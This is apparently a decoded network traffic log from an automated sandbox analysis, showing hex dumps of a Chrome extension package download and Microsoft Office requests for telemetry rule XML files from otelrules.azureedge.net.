2024-11-12 09:37:25 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-12 09:37:25 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:26 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:26 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093726Z-16547b76f7fcjqqhhC1DFWrrrc0000000fc000000000b88p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:26 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:26 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:26 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3b18ef07-001e-0028-3ba8-34c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093726Z-17df447cdb5w28bthC1DFWgb640000000bhg0000000023hy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:26 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:26 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:26 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 31833cf5-a01e-0070-33a3-34573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093726Z-17df447cdb5xwzjjhC1DFWz7vs00000000sg00000000bq1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:26 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:26 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:26 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093726Z-16547b76f7f67wxlhC1DFWah9w0000000fg0000000002hw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:26 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:26 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:26 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: f6eefceb-a01e-001e-33a0-3449ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093726Z-17df447cdb56j5xmhC1DFWn9180000000bt000000000dyw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:26 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:27 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:27 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 659aa3e6-801e-008f-64d2-2c2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093727Z-16547b76f7fdf69shC1DFWcpd00000000fb0000000007m0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:27 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:27 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
